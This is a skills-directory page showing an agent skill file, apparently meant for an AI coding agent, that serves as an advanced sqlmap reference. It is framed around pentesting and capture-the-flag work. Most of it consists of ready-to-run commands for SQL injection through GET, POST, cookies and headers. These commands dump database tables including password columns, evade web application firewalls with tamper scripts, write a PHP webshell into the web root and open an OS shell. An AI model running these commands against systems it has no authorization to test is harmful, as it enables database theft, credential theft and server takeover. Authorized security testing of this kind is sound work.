Back to skills
SKILL.md
Sqlmap Advanced
ASecuritysqlmap: tamper scripts, technique tuning, OS shell, evasion
- 2 stars
- 0 votes
- 0 copies
- 0 views
- Added November 29, 2026
Works with
Security analysis
100/100Pro scans all 3 files and shows the line behind each finding
npx -y skills add blackfoxxx/kestrel --skill sqlmap-advanced --agent claude-codeAre you the author of Sqlmap Advanced?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/blackfoxxx-sqlmap-advanced)---
name: sqlmap-advanced
description: "sqlmap: tamper scripts, technique tuning, OS shell, evasion"
metadata:
tags: "sqlmap,sql injection,tool,tamper,bypass,waf,os-shell,file-read,file-write,database,injection tool"
category: "tool"
mcps: autopen, pentest mcp, context1337
---
# Complete Reference for Advanced sqlmap Usage
## Timeout Control (Mandatory)
sqlmap can run for a long time. **It must be wrapped with timeout**:
```bash
timeout 480 sqlmap [params] --batch 2>&1 | tee /tmp/sqlmap_output.log
# Check existing results immediately after timeout
tail -80 /tmp/sqlmap_output.log
```
## Further Reference
- tamper script quick-reference table → [references/tamper-reference.md](references/tamper-reference.md)
- Detailed advanced-usage commands (OS Shell / file read-write / second-order injection / performance tuning) → [references/advanced-usage.md](references/advanced-usage.md)
---
## Phase 1: Basic Detection
### GET Parameter Injection
```bash
timeout 480 sqlmap -u 'http://target/page.php?id=1' \
--batch --random-agent --level 2 --risk 2 \
2>&1 | tee /tmp/sqlmap_output.log
```
### POST Parameter Injection
```bash
timeout 480 sqlmap -u 'http://target/login.php' \
--data 'username=admin&password=test&submit=Login' \
--batch --random-agent --level 2 --risk 2 \
2>&1 | tee /tmp/sqlmap_output.log
```
**Key point**: `--data` must include all form fields (especially the submit button), since PHP commonly validates with `isset($_POST['submit'])`.
### Cookie Injection
```bash
timeout 480 sqlmap -u 'http://target/page.php' \
--cookie 'user_id=1; session=abc123' \
--level 3 \
--batch --random-agent \
2>&1 | tee /tmp/sqlmap_output.log
```
### HTTP Header Injection
```bash
timeout 480 sqlmap -u 'http://target/page.php' \
--headers 'X-Forwarded-For: 127.0.0.1*' \
--level 5 \
--batch --random-agent \
2>&1 | tee /tmp/sqlmap_output.log
```
The asterisk `*` marks the injection point's position.
### From a Burp Request File
```bash
timeout 480 sqlmap -r /tmp/request.txt \
--batch --random-agent --level 2 --risk 2 \
2>&1 | tee /tmp/sqlmap_output.log
```
---
## Phase 2: Precise --technique Control
| Letter | Technique | Applicable scenario |
|------|------|----------|
| B | Boolean-based blind | Boolean differences exist (page content changes) |
| E | Error-based | Error messages are echoed |
| U | UNION query | Data is echoed |
| S | Stacked queries | Semicolons supported (MySQL, MSSQL, PostgreSQL) |
| T | Time-based blind | No differences at all (last resort) |
| Q | Inline queries | Subquery injection |
```bash
# UNION + Error only (fastest)
sqlmap -u 'URL' --technique EU --batch
# Skip time-consuming time-based blind
sqlmap -u 'URL' --technique BEUS --batch
```
**Recommendation**: Use `--technique EU` for a quick check first; if that fails add `B`; only try `T` last.
---
## Phase 3: Data Extraction
```bash
# 1. List all databases
sqlmap -u 'URL' --dbs --batch
# 2. List the tables of a given database
sqlmap -u 'URL' -D target_db --tables --batch
# 3. List the columns of a given table
sqlmap -u 'URL' -D target_db -T users --columns --batch
# 4. Extract data
sqlmap -u 'URL' -D target_db -T users --dump --batch
# 5. Take only specific columns
sqlmap -u 'URL' -D target_db -T users -C username,password --dump --batch
# 6. Limit row count (for large tables)
sqlmap -u 'URL' -D target_db -T users --dump --start 1 --stop 10 --batch
# 7. Search for key tables/columns
sqlmap -u 'URL' --search -T flag --batch
sqlmap -u 'URL' --search -C password --batch
```
---
## Practical Quick Reference
| Scenario | Key command parameters |
|------|-------------|
| Quick detection | `--technique EU --level 1 --risk 1` |
| Deep detection | `--level 5 --risk 3` |
| POST form | `--data 'param1=val1¶m2=val2'` |
| Cookie injection | `--cookie 'x=1' --level 3` |
| WAF environment | `--tamper=space2comment,between --random-agent` |
| Read flag file | `--file-read=/flag.txt` |
| Write webshell | `--file-write=shell.php --file-dest=/var/www/html/` |
| Get a system shell | `--os-shell` |
| Second-order injection | `--second-url URL` |
| Search for flag | `--search -T flag` or `--search -C flag` |
## Notes
- `--batch` auto-selects default answers (mandatory, since an agent cannot interact)
- `--risk 3` may execute UPDATE/DELETE — use with caution in risky environments
- `timeout 480` runs for at most 8 minutes; check existing results on timeout
- sqlmap caches results; when rerunning against the same target, use `--flush-session` to clear the cache
- If sqlmap fails to detect an injection that has been manually confirmed to exist → use `--prefix` and `--suffix` to manually specify the closure
Files in this skill
- SKILL.md
- references/advanced-usage.md
- references/tamper-reference.md
Attribution
Related skills
View all in development →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.